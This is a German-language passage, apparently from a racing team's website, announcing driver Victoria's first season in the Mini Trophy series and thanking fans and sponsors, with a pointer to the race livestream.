neuem Design „Ready to Race“. Morgen findet Ihr erste Fotos bei Facebook und dann natürlich auch hier. Und dann beginnt am Freitag für unsere Victoria das Lernjahr in der Mini Trophy wo es gilt, jede Menge Erfahrungen auf den verschiedenen und auch noch bisher in der Praxis unbekannten Strecken zu sammeln. Leider hatte auch uns der doch lange Winter einen dicken Strich durch einige geplante Testfahrten gemacht. Aber zumindest konnten wir am vergangenen Wochenende am Sachsenring einige Runden drehen und sich beide wieder aneinander gewöhnen. Und das war schon für beide sehr wichtig. Wir freuen uns schon jetzt auf ein spannendes Rennwochenende mit dem Highlight der GT Masters Serie, die wieder mit jeder Menge Traumwagen, Gänsehautsound und tollen Fights aufwarten wird. Unsere Freunde und Fans, die uns nicht live vor Ort besuchen können, können das Rennen der Mini Trophy im Livestream  über www.mini-trophy.de verfolgen.



Wir sagen heute schon einmal DANKE an die vielen treuen Daumendrücker und natürlich an alle unsere Freunde und Förderer für tolle Unterstützung.  Wir freuen uns auf tolle Momente und jede Menge Emotion und Spaß mit Euch auf und neben der Rennstrecke.

Weniger…